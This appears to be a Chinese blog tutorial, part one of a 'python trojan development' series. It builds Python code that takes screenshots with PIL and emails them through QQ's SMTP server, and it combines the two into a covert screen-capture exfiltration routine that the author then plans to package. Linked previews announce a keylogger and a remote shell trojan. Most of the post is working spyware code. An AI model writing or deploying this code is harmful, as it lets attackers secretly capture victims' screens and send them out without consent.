import smtplib
 from email.mime.text import MIMEText
 msg_from='1@qq.com'                                 #发送方邮箱
 passwd='bd'                                   #填入发送方邮箱的授权码
 msg_to='1@qq.com'

 subject="python邮件测试"                                     #主题
 content="这是我使用python smtplib及email模块发送的邮件"
 msg = MIMEText(content)
 msg['Subject'] = subject
 msg['From'] = msg_from
 msg['To'] = msg_to
 try:
     s = smtplib.SMTP_SSL("smtp.qq.com",465)
     s.login(msg_from, passwd)
     s.sendmail(msg_from, msg_to, msg.as_string())
     print( "发送成功")
 except:
     print("发送失败")
 finally:
     s.quit()

以上是文本类型邮件的发送,不适用图片邮件的发送

以下是图片类型的邮件发送

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     sender = '1@qq.com'
     receivers = '17@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\12.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"i")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

之后我们继续学习截屏幕保存

 from PIL import ImageGrab
 import random
 from time import *

 strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?"
 lenght  = len(strings)
 name = ""

 for j in range(1,3):
     for i in range(1,5):
         r = random.randint(1,36)
         name+=strings[r]
     im = ImageGrab.grab()
     im.save('F:\\'+name+'.png')
     name = ""

我们尝试将他们结合起来:

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     im = ImageGrab.grab()
     im.save('F:\\test.png')
     sender = '@qq.com'
     receivers = '@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\test.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

欧克,成功,我们打包试试看

python trojan development 1st —— use python to send mail and caputre the screen then combine them的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 3rd —— use python to creative a simple shell

    前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...

  3. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  4. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  5. Python 3.4 send mail

    #coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...

  6. 【Python网络编程】利用Python进行TCP、UDP套接字编程

    之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...

  7. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  8. python公司面试题集锦 python面试题大全

    问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...

  9. python 2016 大会 pyconsk ppt ---python dtrace

    https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...

随机推荐

  1. JavaScript严谨模式(Strict Mode)提升开发效率和质量

    http://flandycheng.blog.51cto.com/855176/982719 http://my.oschina.net/Jsiwa/blog/272761

  2. 第一次react-native项目实践要点总结 good

    今天完成了我的第一个react-native项目的封包,当然其间各种环境各种坑,同时,成就感也是满满的.这里总结一下使用react-native的一些入门级重要点(不涉及环境).注意:阅读需要语法基础 ...

  3. MyEclipse迅速

    MyEclipse迅速 1.详细例如以下图 2.提示原因 3.解决方案 版权声明:本文博主原创文章.博客,未经同意不得转载.

  4. 用实例讲DynamicResource与StaticResource的区别

    原文:用实例讲DynamicResource与StaticResource的区别 之前我的博客文章"WPF中的资源(Resource)"中概略性地提到过DynamicResourc ...

  5. 给WPF示例图形加上方便查看大小的格子之完善版本

    原文:给WPF示例图形加上方便查看大小的格子之完善版本 去年10月份, 我曾写过一篇"给WPF示例图形加上方便查看大小的格子"的BLOG(http://blog.csdn.net/ ...

  6. 得知OpenCV研究报告指出系列(一)VS2010+OpenCV2.4.9环境配置

    学习OpenCV,首先,当然,要知道如何配置的环境. 余系统的软件和硬件环境,如以下: 以本人的配置环境为例,配置过程例如以下. 第一步 下载及解压OpenCV源代码 尽管非常多第三方站点及一些学习论 ...

  7. PL/SQL 异常处理程序

     异常处理程序 一个好的程序应该能够妥善处理各种错误情况,并尽可能从错误中恢复.ORACLE 提供异常(EXCEPTION)和异常处理(EXCEPTION HANDLER)错误处理 ①有三种类型的 ...

  8. MVC 行为过滤器

    using FilterExam.Fiter;using System;using System.Collections.Generic;using System.Linq;using System. ...

  9. Windows NT WinLogon Notify

    在NT系列Windows操作系统中,恶意软件可以通过关联Winlogon特定的事件来使自身被启动,如Lock,Logoff,Logon,Shutdown,StartScreenSaver,StartS ...

  10. Codejock.Xtreme.Toolkit.Pro.v15.3.1 下载 与 VS2015补丁使用方法

    Codejock.Xtreme.Toolkit.Pro.v15.3.1 下载 与 VS2015补丁使用方法 打算放在CSDN进行下载的,上传完成后发现资源分设置的1分,本打算赚点下载分的.在页面上没有 ...